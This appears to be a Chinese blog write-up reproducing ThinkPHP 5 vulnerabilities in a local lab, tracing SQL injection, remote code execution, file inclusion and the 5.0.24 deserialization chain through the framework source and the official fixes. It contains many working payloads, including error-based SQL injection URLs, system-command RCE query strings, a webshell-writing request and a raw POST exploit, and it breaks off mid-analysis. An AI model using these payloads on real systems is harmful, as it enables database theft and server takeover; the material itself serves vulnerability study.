thinkphp5和6常见漏洞复现及原理分析

.

先从tp5开始然后是tp6,参考文章如下:

https://github.com/Mochazz/ThinkPHP-Vuln

ThinkPHP5-SQL注入篇

ThinkPHP5漏洞分析之SQL注入(一)

1
2
影响版本:
5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5
1
2
// 获取环境代码
composer create-project --prefer-dist topthink/think=5.0.15 tpdemo

composer.json 文件的 require 字段设置成如下:

1
2
3
4
"require": {
"php": ">=5.4.0",
"topthink/framework": "5.0.15"
}

然后执行 composer update ,并将 application/index/controller/Index.php 文件代码设置如下:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace app\index\controller;

class Index
{
public function index()
{
$username = request()->get('username/a');
db('users')->insert(['username' => $username]);
return 'Update success';
}
}

application/database.php 文件中配置数据库相关信息,并开启 application/config.php 中的 app_debugapp_trace

1
http://localhost/thinkphp/tpdemo/public/index.php/index/index/index?username[0]=inc&username[1]=extractvalue(1,concat(char(126),database()))&username[2]=1

image.png

官方声明:https://github.com/top-think/framework/releases?after=v5.1.7&page=8

image886dcbfdca585bdf.png

发现Builder.php可疑,到thinkphp/library/think/db/Builder.php,找到insert方法,如图

image9ea905006f6e60d4.png

在thinkphp/library/think/db/Query.php中记录了我们所有链式查询的详细操作,比如insert,parsePkWhere,withField等

我们这里看到insert方法,是Builder类下的

imageac8454508dbf822b.png

imagea7599f06354bc180.png

在query.php的insert方法那里我们传入$data数组,在builder.php中的kinsert方法中由调用了parseData方法

imagefaa5f37754c30c1f.png

这个方法中第102行经过了parseKey方法处理,但是并没什么处理,直接返回了

image31cf5a1e6d46fa63.png

如下,这里当我们传入的数组的第一个值是inc或者dec时,我们的val[1]的值没有经过任何过滤就给result,最后return返回,

image1e811d55a0b3e24b.png

imagebe75ada6b0532307.png

最后回到insert方法,我们含有恶意代码的$data直接给到了$fields和$values,没有经过任何过滤执行SQL造成了SQL注入漏洞

image7c2ece9f301e6510.png

那么有inc,dec,exp三种模式,exp模式其实没有漏洞,为什么呢

在thinkphp/library/think/Request.php中

1
2
3
4
5
6
7
8
public function filterExp(&$value)
{
// 过滤查询特殊字符
if (is_string($value) && preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT LIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
$value .= ' ';
}
// TODO 其他安全过滤
}

image0e94e7f12e5b417d.png

我们的”exp”变成了”exp “,自然就过滤了

官方修复方案是:

1
2
3
4
case 'inc':
$result[$item] = $item . '+' . floatval($val[1]);
case 'dec':
$result[$item] = $item . '-' . floatval($val[1]);

image31cf51bfa2e1ebba.png

ThinkPHP5漏洞分析之SQL注入(二)

1
2
影响版本:
5.1.6<=ThinkPHP<=5.1.7 (非最新的 5.1.8 版本也可利用)

通过以下命令获取测试环境代码:

1
composer create-project --prefer-dist topthink/think=5.1.6 tpdemo2

composer.json 文件的 require 字段设置成如下:

1
2
3
4
"require": {
"php": ">=5.6.0",
"topthink/framework": "5.1.6"
}

然后执行 composer update ,并将 application/index/controller/Index.php 文件代码设置如下:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace app\index\controller;

class Index
{
public function index()
{
$username = request()->get('username/a');
db('users')->where(['id' => 1])->update(['username' => $username]);
return 'Update success';
}
}

config/database.php 文件中配置数据库相关信息,并开启 config/app.php 中的 app_debugapp_trace

1
http://localhost/thinkphpvul/tpdemo2/public/index.php/index/index?username[0]=point&username[1]=1&username[2]=extractvalue(1,concat(char(126),database()))^&username[3]=0

image8ca19ad1165f79ab.png

官方更新:https://github.com/top-think/framework/releases?after=v5.1.7&page=8

imagea410bf55b4cec7a2.png

https://github.com/top-think/framework/compare/v5.1.9...5.1

由于我们是update链式查询造成的漏洞,所以我们在thinkphp/library/think/db/Query.php查找update方法

image8e0eee02f6be8d7c.png

这里我们调用了thinkphp/library/think/db/Connection.php下的update方法,在Connection.php下的update方法内部又调用了builder.php下的update方法

imageaebca840253eeabb.png

image2b497c24b0229c06.png

如下图,我们在builder.php内的update方法又调用了parseData方法

imagea333e0dd58ac27dc.png

如下图,上次我们产生漏洞的地方是因为case inc 和case dec没有做好限制,将传入数组的第二个值代入了造成漏洞,在现在这个5.1.6版本添加了default默认项

image135ea5826a355fb0.png

imageb441c2598013889b.png

default这里调用了parseArrayData方法,实际上调的是thinkphp/library/think/db/builder/Mysql.php下的parseArrayData方法

这里我们传入的Query $query, $data,query是一个Query对象实例,该方法首先获取data数组中的第一个元素,并赋值给data数组中的第一个元素,并赋值给type变量

imageb3e3221e109c5d8a.png

strtolower将我们的第一个元素变成小写之后如果case等于point,那么如果数组中存在第三个元素,则将其赋值给data中存在第三个元素,则将其赋值给fun变量。否则,将$fun默认设置为’GeomFromText’。

也就是令$fun = $data[2],$point = $data[3]

1
$result = $fun . '(\'' . $point . '(' . $value . ')\')';

这里我们利用$fun进行注入的payload就是:

1
http://localhost/thinkphpvul/tpdemo2/public/index.php/index/index?username[0]=point&username[1]=1&username[2]=extractvalue(1,concat(char(126),database()))^&username[3]=0

那么根据脚本

1
2
3
4
5
6
7
8
<?php
$value = "1";
$point = "0";
$fun = "extractvalue(1,concat(char(126),database()))^";
$result = $fun . '(\'' . $point . '(' . $value . ')\')';
echo $result;
// extractvalue(1,concat(char(126),database()))^('0(1)')
?>

执行结果就是

1
select extractvalue(1,concat(char(126),database()))^('0(1)');

image36eb72253dedb86c.png

最后回到builder.php中的update方法内,我们的set数组就是我们传入的内容被分成键和值组合起来了,替换了%set%,执行了updateSql操作,造成报错注入

imaged3ffbc016fd77a44.png

同样的我们的payload还可以有多种:

例如我们组成

1
select 1^('')^extractvalue(1,concat(char(126),database()))-- -(1)');

imageb05ea6378a4ef028.png

1
2
3
4
5
6
7
8
9
<?php
$value = "1"; // username[1]
$point = "')^extractvalue(1,concat(char(126),database()))-- -";
$fun = "1^"; // username[2]
$result2 = $fun . '(\'' . $point . '(' . $value . ')\')';
// extractvalue(1,concat(char(126),database()))^('0(1)')
// 1^('')^extractvalue(1,concat(char(126),database()))-- (1)')
echo $result2."<br>";
?>
1
http://localhost/thinkphpvul/tpdemo2/public/index.php/index/index?username[0]=point&username[1]=1&username[2]=1^&username[3]=')^extractvalue(1,concat(char(126),database()))-- -

imageecf2c4bbfb813f22.png

一样可以执行

官方修复方案就是直接将 parseArrayData 方法删除了

ThinkPHP5漏洞分析之SQL注入(三)

通过以下命令获取测试环境代码:

1
影响版本:5.0.10
1
composer create-project --prefer-dist topthink/think=5.0.10 tpdemo4

composer.json 文件的 require 字段设置成如下:

1
2
3
4
"require": {
"php": ">=5.4.0",
"topthink/framework": "5.0.10"
},

然后执行 composer update ,并将 application/index/controller/Index.php 文件代码设置如下:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace app\index\controller;

class Index
{
public function index()
{
$username = request()->get('username');
$result = db('users')->where('username','exp',$username)->select();
return 'select success';
}
}

config/database.php 文件中配置数据库相关信息,并开启 config/app.php 中的 app_debugapp_trace

payload:

1
http://localhost/thinkphpvul/tpdemo4/public/index.php/index/index/index?username=) union select updatexml(1,concat(0x7,user(),0x7e),1)--+

image693887cccf9ea155.png

同之前,找到thinkphp/library/think/db/Query.php下的where链式查询,这里调用了parseWhereExp方法

image038610f3b83c2b94.png

这个方法没什么好说的,然后直接返回后又调用了select方法

image5532dce84b13805e.pngimageacc246ef044c3628.png

这里又调用了builder.php下的select方法

我们将%WHERE%替换成了$this->parseWhere($options[‘where’], $options)

imageb3d18a6b5f423e5a.png

在parseWhere方法中,又调用了buildWhere方法

imagedfe448733213292c.png

imagedfe448733213292c.png

这里内部又调用了parseWhereItem方法-where子单元分析

imagebb2b0eb8885cb2b6.png

在parseWhereItem方法内部,当操作符等于exp时

imaged62d6b98249f9164.png

1
2
3
$whereStr .= '( ' . $key . ' ' . $value . ' )';
最后
return $whereStr;

image5843238ae3869266.png

最后执行造成SQL注入,那么payload如何构造呢

1
http://localhost/thinkphpvul/tpdemo4/public/index.php/index/index/index?username=) union select updatexml(1,concat(0x7,user(),0x7e),1)--+
1
$whereStr .= '( ' . $key . ' ' . $value . ' )';
1
2
3
4
5
6
7
<?php
$key = 'username';
$value = ") union select updatexml(1,concat(0x7,user(),0x7e),1)--+";
$whereStr .= '( ' . $key . ' ' . $value . ' )';
echo $whereStr;
// ( username ) union select updatexml(1,concat(0x7,user(),0x7e),1)--+ )
?>

执行的就是

1
select ( username ) union select updatexml(1,concat(0x7,user(),0x7e),1)-- - );

imageaddc2124de6271ab.png

当然,这里是当你这么写的时候存在漏洞

1
2
3
4
5
6
public function index()
{
$username = request()->get('username');
$result = db('app01_userinfo')->where('username','exp',$username)->select();
return 'select success';
}

ThinkPHP5漏洞分析之SQL注入(四)

1
2
影响版本:
ThinkPHP<=5.0.11
1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace app\index\controller;

class Index
{
public function index()
{
$username = request()->get('username/a');
$result = db('users')->where(['username' => $username])->select();
var_dump($result);
}
}

payload:

1
http://localhost/thinkphpvul/tpdemo4/public/index.php/index/index/index?username[0]=not%20like&username[1][0]=%%&username[1][1]=233&username[2]=)%20union%20select%201,database()%23

imagec9af240067fef554.png

https://github.com/top-think/framework/compare/v5.0.11...master

不管以哪种方式传递数据给服务器,这些数据在 ThinkPHP 中都会经过 Request 类的 input 方法

数据不仅会被强制类型转换,还都会经过 filterValue 方法的处理。该方法是用来过滤表单中的表达式,但是我们仔细看其代码,会发现少过滤了 NOT LIKE ,而本次漏洞正是利用了这一点。

imagef9387797f1e6db53.png

image6259666043d64b3f.png

filterValue方法最后return回调了filterExp方法,这个方法过滤了一些东西

image48cbd1d6a2256025.png

1
2
3
if (is_string($value) && preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
$value .= ' ';
}

少过滤了 NOT LIKE

回到query类下的where链式查询

image5e8db5926c09b121.png

内部又调用了parseWhereExp方法,然后再返回并继续调用 select 方法准备开始构建 select 语句,和上一个是一样的

在builder.php中的select方法中,继续parseWhere方法中的buildWhere方法

imagecf2e52504f14ccc7.pngimage7a88fbb4b9a035ea.png

然后又调用了parseWhereItem方法,在这个之前和我分析的上一个漏洞都一样

这里由于我们的SQL操作是:

1
$result = db('users')->where(['username' => $username])->select();

没有中间的条件,所以在这个else这里,返回的结果是$str

image6064249918fb5ee7.png

这里当我们的exp为not like时

1
2
3
$logic = isset($val[2]) ? $val[2] : 'AND';
$whereStr .= '(' . implode($array, ' ' . strtoupper($logic) . ' ') . ')';
return $whereStr;

image3a023dd31afa1ae2.png

最后$whereStr被执行,回到parseWhere方法这里

最后将$whereStr返回

image981e6b4f18bf5c44.png

我们添加一句输出

1
2
echo ' WHERE ' . $whereStr;
echo "<br>";

imagef58aa58e412a6616.pngimaged0f4802f7435e45b.png

1
WHERE (`username` NOT LIKE '%%' ) UNION SELECT 1,DATABASE()# `username` NOT LIKE '233')

最后替换下执行

imaged9cb2ac33268f989.png

在\thinkphp\base.php下的THINK_VERSION可以看到thinkphp版本,方便具体找特定版本漏洞

ThinkPHP5漏洞分析之SQL注入(五)

1
2
漏洞影响版本: 
5.1.16<=ThinkPHP5<=5.1.22

通过以下命令获取测试环境代码:

1
composer create-project --prefer-dist topthink/think=5.1.22 tpdemo5

composer.json 文件的 require 字段设置成如下:

1
2
3
4
"require": {
"php": ">=5.6.0",
"topthink/framework": "5.1.22"
}

然后执行 composer update ,并将 application/index/controller/Index.php 文件代码设置如下:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace app\index\controller;

class Index
{
public function index()
{
$orderby = request()->get('orderby');
$result = db('users')->where(['username' => 'mochazz'])->order($orderby)->find();
var_dump($result);
}
}

config/database.php 文件中配置数据库相关信息,并开启 config/app.php 中的 app_debugapp_trace

1
http://localhost/thinkphpvul/tpdemo5/public/index.php/index/index/index?orderby[id`|extractvalue(1,concat(char(126),database()))%23]=1

image3c67272ba89c702b.png

https://github.com/top-think/framework/releases?after=v5.1.7&page=6

image9d98fb5757cbff7d.png

这里说改进了order方法的数组解析方式,我们去看看

https://github.com/top-think/framework/compare/v5.1.23...5.1

image5c0bbbe027423b13.png

首先,我们直接查看request类下的input方法,这里调用了array_walk_recursive方法,这个函数的作用是数组遍历函数,用于对多维数组中的每个元素应用回调函数,没有对安全性有过滤

image72084bf731e71cb8.png

然后回到thinkphp/library/think/db/Query.php下的order方法

imaged223319f2c31de0e.png

1
$this->options['order'] = array_merge($this->options['order'], $field);

然后我们查看find方法,这里调用了在 Connection 类下的find方法

imagef63346bcb855b28f.png

image2953040f10f608ea.png

在这个方法中调用了builder.php类下的select方法

image0c89852c497ea1ce.png

这里我们主要关心这个parseOrder方法的替换

imageb5cd23c395a6d554.png

方法内部又调用了parseKey方法

image4da4f542e81b84d7.png

但是无关紧要,最后返回的是

1
2
3
return ' ORDER BY ' . implode(',', $array);
// `id`|extractvalue(1,concat(char(126),database()))#`
// select extractvalue(1,concat(char(126),database()));

imaged5ce447de4e14e27.png

这里如果我们的payload是:

1
http://localhost/thinkphpvul/tpdemo5/public/index.php/index/index/index?orderby[id`|extractvalue(1,concat(char(126),database()))%23]=1

那么走下面的输出456

image26f1f9cb1eedd393.png

如果我们的payload是:

1
http://localhost/thinkphpvul/tpdemo5/public/index.php/index/index/index?orderby[0]=id`|extractvalue(1,concat(char(126),database()))%23

则走上面的输出123

image4a399e0badf3c537.png

但是无所谓,最后都是拼接执行了

ThinkPHP5漏洞分析之SQL注入(六)

本次漏洞存在于所有 Mysql 聚合函数相关方法

1
2
3
漏洞影响版本: 
5.0.0<=ThinkPHP<=5.0.21 、
5.1.3<=ThinkPHP5<=5.1.25。

不同版本 payload 需稍作调整:

 5.0.0~5.0.21 、 5.1.3~5.1.10id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23

5.1.11~5.1.25id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23

通过以下命令获取测试环境代码:

1
composer create-project --prefer-dist topthink/think=5.1.25 tpdemo

composer.json 文件的 require 字段设置成如下:

1
2
3
4
"require": {
"php": ">=5.6.0",
"topthink/framework": "5.1.25"
},

然后执行 composer update ,并将 application/index/controller/Index.php 文件代码设置如下:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace app\index\controller;

class Index
{
public function index()
{
$options = request()->get('options');
$result = db('users')->max($options);
var_dump($result);
}
}

config/database.php 文件中配置数据库相关信息,并开启 config/app.php 中的 app_debugapp_trace

1
http://localhost/thinkphpvul/tpdemo5/public/index.php/index/index/index?options=id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23

image1cb37b766379aa57.png

query.php

调用了max方法下的aggregate方法

imagec487fde2506e05dc.png

这个aggregate方法内部又调用了collection类下的aggregate方法

image128b20d342848ee4.png

该方法

image57b27834d87449d5.png

我们的payload是:

1
http://localhost/thinkphpvul/tpdemo5/public/index.php/index/index/index?options=id`)%2bextractvalue(1,concat(char(126),database())) from users%23

对$field的输出是:

1
MAX(`id`)+extractvalue(1,concat(char(126),database())) from users#`) AS tp_max 

执行起来就是

1
select MAX(`id`)+extractvalue(1,concat(char(126),database())) from users#`) AS tp_max;
1
我们输入的是:id`)+extractvalue(1,concat(char(126),database())) from users#

缺点是你必须知道某个表下的某个字段,比如users表下的id

这里我们的调用了buildermysql.php下的parseKey方法

image6d10e2053261c113.png

ThinkPHP5-代码执行篇

ThinkPHP5漏洞分析之代码执行(一)

1
2
漏洞影响版本: 
5.0.0<=ThinkPHP5<=5.0.10

通过以下命令获取测试环境代码:

1
composer create-project --prefer-dist topthink/think=5.0.10 tpdemo

将 composer.json 文件的 require 字段设置成如下:

1
2
3
4
"require": {
"php": ">=5.4.0",
"topthink/framework": "5.0.10"
},

然后执行 composer update ,并将 application/index/controller/Index.php 文件代码设置如下:

1
2
3
4
5
6
7
8
9
10
11
<?php
namespace app\index\controller;
use think\Cache;
class Index
{
public function index()
{
Cache::set("name",input("get.username"));
return 'Cache success';
}
}

将username写入缓存,但是无法被访问到

http://localhost/thinkphpvul/tpdemo4/public/?username=mochazz123%0d%0aphpinfo();//![image796d1f70fedf1505.png](https://cdnjson.com/images/2023/05/18/image796d1f70fedf1505.png)

但是问题是我们不知道缓存的文件名

image67f80b1b703ace55.png

跟到cache.php中的set方法

这里又通过单例模式 init 方法,创建了一个类实例

image9a1d52b02af188c3.png

这里的self::$handler是

image86aa886ecbad8bf5.png

该类由 cache 的配置项 type 决定,默认情况下其值为 File

imagec6a32324e9b0ec9b.png

self::$handler 即为 think\cache\driver\File 类实例

这里$data没有经过什么过滤就写入了

image9e04c7750de7e344.png

这里的$filename = $this->getCacheKey($name);

我们查看getCacheKey方法是如何定义文件名的

image39c579e8c2e7f4d5.png

我们这里的缓存变量名$name = “name”;

image7389ba7f9a6ec4f2.png

这里就是取name的md5值的前两位作为目录名,2位之后的所有作为文件名

imagea5b001341216930d.png

如图,name的md5是b068931cc450442b63f5b3d276ea4297

image192d9615b654d22c.png

那么就是b0/68931cc450442b63f5b3d276ea4297.php

image6e21f5f5a75ae9c8.png

所以如果想利用成功的前提是知道这个name,而且当项目部署在web上时,只有public目录可以对外访问,而runtime目录不可以,所以这个洞有点鸡肋。

ThinkPHP5漏洞分析之代码执行(二)

本次漏洞存在于 ThinkPHP 底层没有对控制器名进行很好的合法性校验,导致在未开启强制路由的情况下,用户可以调用任意类的任意方法,最终导致 远程代码执行漏洞 的产生。漏洞影响版本: 5.0.7<=ThinkPHP5<=5.0.225.1.0<=ThinkPHP<=5.1.30。不同版本 payload 需稍作调整:

5.1.x

1
2
3
4
5
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.0.x

1
2
3
4
5
?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg # 包含任意文件
?s=index/\think\Config/load&file=../../t.php # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

例如

命令执行

1
http://localhost/thinkphpvul/tpdemo4/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

image358f4d17de8a30e9.png

代码执行

1
http://localhost/thinkphpvul/tpdemo4/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

image80970fbdbe8a161b.png

可以通过以下命令获取测试环境代码:

1
composer create-project --prefer-dist topthink/think tpdemo

composer.json 文件的 require 字段设置成如下:

1
2
3
4
"require": {
"php": ">=5.6.0",
"topthink/framework": "5.1.30"
},

然后执行 composer update

默认情况下安装的 ThinkPHP 是没有开启强制路由选项,而且默认开启路由兼容模式。

imagec34cf46ffb56d3e0.png

在没有开启强制路由,说明我们可以使用路由兼容模式 s 参数,而框架对控制器名没有进行足够的检测,说明可能可以调用任意的控制器,那么我们可以试着利用 http://site/?s=模块/控制器/方法 来测试一下。

当我们输入这个代码执行

1
http://localhost/thinkphpvul/tpdemo4/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

会被ThinkPHP解析为对\think\app\invokefunction()函数的调用,该函数会执行一个用户指定的回调函数,并传递相应的参数。具体来说,上述URL地址调用的过程如下:

  1. 在应用程序入口文件public/index.php中,读取$s参数的值,发现它等于'index/\think\app\invokefunction'
  2. 根据$s参数的值,路由到\think\route\Route::check()方法,并将其解析为一个控制器调用。
  3. \think\route\Route::check()方法继续将控制器路径解析为\think\app\invokefunction()函数的调用,并将剩余的参数作为回调函数的参数。
  4. 最终,\think\app\invokefunction()函数调用了用户指定的回调函数call_user_func_array(),并将其传递的参数作为回调函数的参数。

在函数内部,首先使用ReflectionFunction类创建一个反射对象reflect,用于获取function函数的相关信息,然后,使用bindParams()方法根据反射对象和参数数组来绑定参数,生成一个包含所有参数值的数组args

并使用反射对象的‘invokeArgs()‘方法调用function函数,并将$args作为实参传递进去,返回函数执行结果

image8f738df215263fee.png

这个就是经典的利用反射来调用任意命令执行的函数,并传入参数值实现rce

ThinkPHP5漏洞分析之代码执行(三)

1
2
漏洞影响版本: 
5.0.0<=ThinkPHP5<=5.0.23 、5.1.0<=ThinkPHP<=5.1.30
1
2
3
4
5
6
7
8
9
10
11
12
# ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system

# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

# ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

例如

1
2
3
4
5
6
7
8
9
10
11
12
POST /thinkphpvul/tpdemo4/public/?s=index/index HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
Connection: close
Upgrade-Insecure-Requests: 1

s=whoami&_method=__construct&method=&filter%5B%5D=system

image5d1dd3b92751ea20.png

流程分析:

image6c194e542d8abd56.png

当我们是通过post提交数据时在thinkphp/library/think/Request.php下的method方法时

image8c064d4a0170b0a3.png

Request 类的 __construct 方法中存在类属性覆盖的功能

image5cf6ba2d9fe2f4cd.png

1
$this->$name = $item;

然后我们回到之前,start.php文件分发完请求之后调用了app.php下的run()方法

imageecea46bad0ed4e66.pngimage28811b7da296f824.png

调用了param方法,这里调用了method方法

image5bf30a018274c7dc.png

内部又调用了server方法

imagef122925c9e9c6c9a.png

这个 $this->server 的值,我们可以通过先前 Request 类的 __construct 方法来覆盖赋值

image65e86e3c895db072.png

可控数据作为 $data 传入 input 方法,然后 $data 会被 filterValue 方法使用 $filter 过滤器处理。其中 $filter 的值部分来自 $this->filter ,又是可以通过先前 Request 类的 __construct 方法来覆盖赋值。

回到thinkphp/library/think/Request.php中

简单来说这个洞就是通过post传入数据之后,在construct构造函数中,我们可以通过传入的内容进行类属性覆盖

根据程序执行流程,我们首先调用了app下的run方法–>param方法–>method方法–>server方法–>input方法

也就是说我们利用类属性覆盖将我们传入的覆盖了input方法的传入的参数

image28c6ba486af3d423.png

image177b5988f209a7d8.png

在这个input方法中执行了filterValue方法

imagea92e913a12b80c0c.png

image4b1687911548b8e5.png

在这个filterValue方法中,调用了call_user_func这个回调函数(危险函数)

image7888b9ac5229413a.png

也就是说我们令其第一个参数(是一个数组)为我们调用的函数system,第二个参数就是命令

1
2
$value = call_user_func($filter, $value);
private function filterValue(&$value, $key, $filters)

调用filterValue方法的第一个参数是值,第三个参数是调用的函数名

在input方法中调用filterValue是这样的

1
$this->filterValue($data, $name, $filter);

也就是说$data是对应着$value,而$filters是对应着system

1
public function input($data = [], $name = '', $default = null, $filter = '')

传入的$data数组,内部经过处理获取了值

1
2
3
public function server($name = '', $default = null, $filter = '')

return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);

这个$this->server我们可以通过先前 Request 类的 __construct 方法来覆盖赋值

1
$this->server = $_SERVER;

根据我们的请求包:

1
2
3
s=index/index // 是访问访问 IndexController 下的 index 控制器
_method=__construct // 实际上是通过_method来触发request.php下的构造函数,利用这个类属性覆盖的功能,执行任何一个公共方法

在调用 $this->filterValue($data, $name, $filter) 方法时

$data = ['s' => 'whoami']

filterValue 方法内部,如果 $name 不为空,则会从 $data 中取出对应的参数值,并将其保存到 $value 变量中。

ThinkPHP5-文件包含篇

通过以下命令获取测试环境代码:

1
composer create-project --prefer-dist topthink/think=5.0.18 tpdemo

composer.json 文件的 require 字段设置成如下:

1
2
3
4
"require": {
"php": ">=5.6.0",
"topthink/framework": "5.0.18"
},

然后执行 composer update ,并将 application/index/controller/Index.php 文件代码设置如下:

1
2
3
4
5
6
7
8
9
10
11
<?php
namespace app\index\controller;
use think\Controller;
class Index extends Controller
{
public function index()
{
$this->assign(request()->get());
return $this->fetch(); // 当前模块/默认视图目录/当前控制器(小写)/当前操作(小写).html
}
}

创建 application/index/view/index/index.html 文件,内容随意(没有这个模板文件的话,在渲染时程序会报错),并将图片马 1.jpg 放至 public 目录下(模拟上传图片操作)。接着访问 http://localhost:8000/index/index/index?cacheFile=demo.php 链接,即可触发 文件包含漏洞

1
http://localhost/thinkphpvul/tpdemo8/public/index.php/index/index/index?cacheFile=1.txt

image.png

这里我们的代码是:将get方式传入的东西通过assign方法之后赋值给模板

thinkphp/library/think/Controller.php

1
2
3
4
5
public function index()
{
$this->assign(request()->get());
return $this->fetch(); // 当前模块/默认视图目录/当前控制器(小写)/当前操作(小写).html
}

这里是调用了view下的assign方法

image3cfdf8d5d2e907da.png

image2c4e4b5d76c3f896.png

并将内容放在data中,程序开始调用 fetch 方法加载模板输出

imagef86a2dfe44fbb7a5.pngimagec98a03245505aa56.png

这里第164行,调用了engine方法

1
$this->engine->$method($template, $vars, $config);

image3ba969da79973a0f.png

这里调用下了\think\view\driver\Think.php下的fetch方法

imagec3e89ec08cbbc444.png

我们跟进到 Template 类的 fetch 方法,可以发现可控变量 $vars 赋值给 $this->data 并最终传入 File 类的 read 方法。

image4a232259c7453f97.png

imageecf87775e96408ef.png

在thinkphp/library/think/template/driver/File.php中

imagec43764d4586d60a8.png

这里用extract变量覆盖了之后直接包含了$cacheFile,可以通过 extract 函数,直接覆盖 $cacheFile 变量,因为 extract 函数中的参数 $vars 可以由用户控制

1
2
extract($vars, EXTR_OVERWRITE);
include $cacheFile;

.

ThinkPHP5-反序列化篇

ThinkPHP5.0.X反序列化(5.0.24)

漏洞测试环境:PHP5.6+Linux+ThinkPHP5.0.24

1
2
3
4
5
6
composer create-project --prefer-dist topthink/think=5.0.24 tpdemo

"require": {
"php": ">=5.6.0",
"topthink/framework": "5.0.24"
},

漏洞测试代码 application/index/controller/Index.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace app\index\controller;

class Index
{
public function index()
{
$c = unserialize($_GET['c']);
var_dump($c);
return 'Welcome to thinkphp5.0.24';
}
}

POP 链入口点为 think\process\pipes:__destruct 方法。通过 __destruct 方法里调用的 removeFiles 方法,可以利用 file_exists 函数来触发任意类的 __toString 方法,这里我们选择 think\Model 类来触发。由于该类为抽象类,所以我们后续在构造 EXP 的时候得使用其子类,例如: think\Model\Pivot 类。

thinkphp/library/think/process/pipes/Windows.php下的__destruct方法

里调用的 removeFiles 方法

imageefc35ab3ec30a5de.png

image58a5f697eb81f533.png

利用 file_exists 函数来触发任意类[thinkphp/library/think/Model.php下的]的 __toString 方法[当类被当成字符串时触发__ toString]

image407bbb24ede55f6d.png

imagebd133d96038582be.png

这里又调用了toArray方法

在 PHP 中,__call 是一种魔术方法,用于处理调用一个不存在的方法时的行为。

1
2
3
4
5
6
7
8
9
10
11
<?php
class MyClass {
public function __call($name, $args) {
echo "您调用的方法 $name 不存在!";
}
}

$obj = new MyClass();
$obj->nonexistentMethod(); // 调用不存在的方法

?>

nonexistentMethod方法并不存在就会执行输出:您调用的方法 nonexistentMethod 不存在!

image3d60af507fdb9891.png

这里的$item[$key] = $value ? $value->getAttr($attr) : null;

第三处,也就是第912行,这个需要我们控制$value变量

这个$value是根据如下而来的

1
$value = $this->getRelationData($modelRelation);

分析getRelationData方法

image966a53ae81e2c771.png

如果我们令if成立

1
$value = $this->parent;

满足条件需要三个条件

1
$this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)
  1. $this->parent存在且可控
  2. !$modelRelation->isSelfRelation()这里的isSelfRelation方法跟入,如下,存在且可控

image350be60b0bd3e014.png

  1. get_class($modelRelation->getModel()) == get_class($this->parent)

跟进getModel方法,$this->query->getModel(),其中$query可控

image6bd71b355f858471.png

接下来看怎么能传入一个Relation类的$modelRelation参数

回过去,当我们912行$value存在的话,执行$value->getAttr($attr)

跟入getAttr方法

image17f6508df1e76fe9.pngimage62622351aa306c7a.png

在getAttr方法内部,跟进Loader::parseName

image8a1b73b15d04d28f.png

该方法只是进行了一些大小写替换之类的

image82f0a0fd98a72fc5.png

在$relation可控的前提下,要满足这个method_exists,则需要将$relation设定为$this(也就是thinkphp\library\think\Model.php)中存在的方法

然后回到toarray方法中,在进入__call前的两个if

第一个if这里要满足$modelRelation下存在getBindAttr方法

image415f421817c93dd7.png

getBindAttr方法在thinkphp/library/think/model/relation/OneToOne.php中,在OneToOne.php中定义,该类是个抽象类,且OneToOne类是Relation类的派生类,其$this->bindAttr可控

image327415619f712666.png

我们搜索继承OneToOne的类,发现HasOne类

image2b0d5dd14469a473.png

所以可以让$modelRelation的值为HasOne,这个也满足getRelationData()传入的是Relation类对象的要求,并且bindAttr可控

然后我们执行$item[$key] = $value ? $value->getAttr($attr) : null;,这里由于调用不存在的方法就直接进入__call方法中

ThinkPHP5.0.X反序列化(5.2.24)

